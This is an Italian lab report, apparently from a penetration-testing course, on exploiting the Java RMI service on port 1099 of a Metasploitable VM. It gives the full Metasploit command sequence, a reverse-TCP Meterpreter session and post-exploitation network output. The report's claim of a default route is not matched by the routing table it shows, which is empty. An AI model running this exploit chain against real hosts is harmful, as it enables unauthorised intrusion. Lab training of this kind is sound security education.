

Relazione: Sfruttamento della vulnerabilità Java RMI sulla porta 1099

Obiettivo dell'esercizio

L'obiettivo di questo esercizio è stato quello di sfruttare una vulnerabilità presente nel servizio Java RMI (Remote Method Invocation) sulla porta 1099 della macchina Metasploitable. Utilizzando il framework Metasploit, si è richiesto di ottenere una sessione Meterpreter sulla macchina vittima e di raccogliere le seguenti informazioni:

1. Configurazione di rete della macchina vittima.
 2. Informazioni sulla tabella di routing della macchina vittima.
-

Preparazione dell'ambiente

1. Macchina attaccante (Kali Linux):

- Indirizzo IP assegnato: 192.168.11.111
- Sistema operativo: Kali Linux, configurato per eseguire Metasploit Framework.

2. Macchina vittima (Metasploitable):

- Indirizzo IP assegnato: 192.168.11.112
- Sistema operativo: Metasploitable con servizio Java RMI vulnerabile attivo sulla porta 1099.

```
(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=2.30 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=2.27 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=2.81 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=1.56 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=4.63 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=1.23 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=2.60 ms
64 bytes from 192.168.11.112: icmp_seq=8 ttl=64 time=1.83 ms
64 bytes from 192.168.11.112: icmp_seq=9 ttl=64 time=1.32 ms
64 bytes from 192.168.11.112: icmp_seq=10 ttl=64 time=3.36 ms
^C
— 192.168.11.112 ping statistics —
10 packets transmitted, 10 received, 0% packet loss, time 9641ms
```

Fasi di attacco con Metasploit

Avvio di Metasploit Framework: Sul sistema Kali, è stato avviato Metasploit con il comando:

```
msfconsole
```

1.

Ricerca di un exploit per Java RMI: Tramite il comando:

```
search rmi
```

2. è stato individuato il modulo `exploit/multi/misc/java_rmi_server`, progettato per sfruttare vulnerabilità nel servizio Java RMI.

Configurazione del modulo di exploit: Il modulo è stato caricato con il comando:

```
use exploit/multi/misc/java_rmi_server
```

Le opzioni sono state configurate come segue:

```
set RHOSTS 192.168.11.112
```

```
set RPORT 1099
```

```
set LHOST 192.168.11.111
```

```
set LPORT 4444
```

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Esecuzione dell'exploit: L'exploit è stato eseguito con:

```
exploit
```

3. Al termine dell'esecuzione, è stata ottenuta una sessione Meterpreter sulla macchina vittima.
-

Raccolta delle evidenze

Dopo aver ottenuto l'accesso alla macchina vittima tramite Meterpreter, sono stati raccolti i seguenti dati:

Configurazione di rete: Dal prompt di Meterpreter, è stato eseguito il comando:

```
meterpreter > shell  
ifconfig
```

1. Risultato:

- Interfaccia di rete configurata con indirizzo IP **192.168.11.112** e netmask **255.255.255.0**.

Tabella di routing: Sempre dal prompt di Meterpreter, è stato eseguito il comando:

```
meterpreter > shell  
route
```

2. Risultato:

- Tabella di routing con la route predefinita configurata correttamente.

Le informazioni raccolte sono state salvate per la documentazione.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.11.111:4444  
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/xi0djQaERgnOz  
[*] 192.168.11.112:1099 - Server started.  
[*] 192.168.11.112:1099 - Sending RMI Header ...  
[*] 192.168.11.112:1099 - Sending RMI Call ...  
[*] 192.168.11.112:1099 - Replied to request for payload JAR  
[*] Sending stage (58037 bytes) to 192.168.11.112  
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:50283) at 2024-12-20 10:29:49 +0100  
  
meterpreter > shell  
Process 1 created.  
Channel 1 created.  
ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:ad:24:ef  
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:fead:24ef/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:162 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:208 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:131646 (128.5 KB)  TX bytes:22383 (21.8 KB)  
          Base address:0xd010 Memory:f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:187 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:187 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:55245 (53.9 KB)  TX bytes:55245 (53.9 KB)
```

```
meterpreter > route
```

```
IPv4 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
--------	---------	---------	--------	-----------

Conclusioni

L'esercizio ha dimostrato come sfruttare una vulnerabilità nel servizio Java RMI utilizzando Metasploit. Sono stati raggiunti i seguenti obiettivi:

- Ottenimento di una sessione Meterpreter sulla macchina vittima.
- Raccolta delle informazioni richieste (configurazione di rete e tabella di routing).

Questa attività ha fornito una comprensione pratica dei processi di penetration testing per sfruttare vulnerabilità note e raccogliere informazioni sensibili da sistemi compromessi.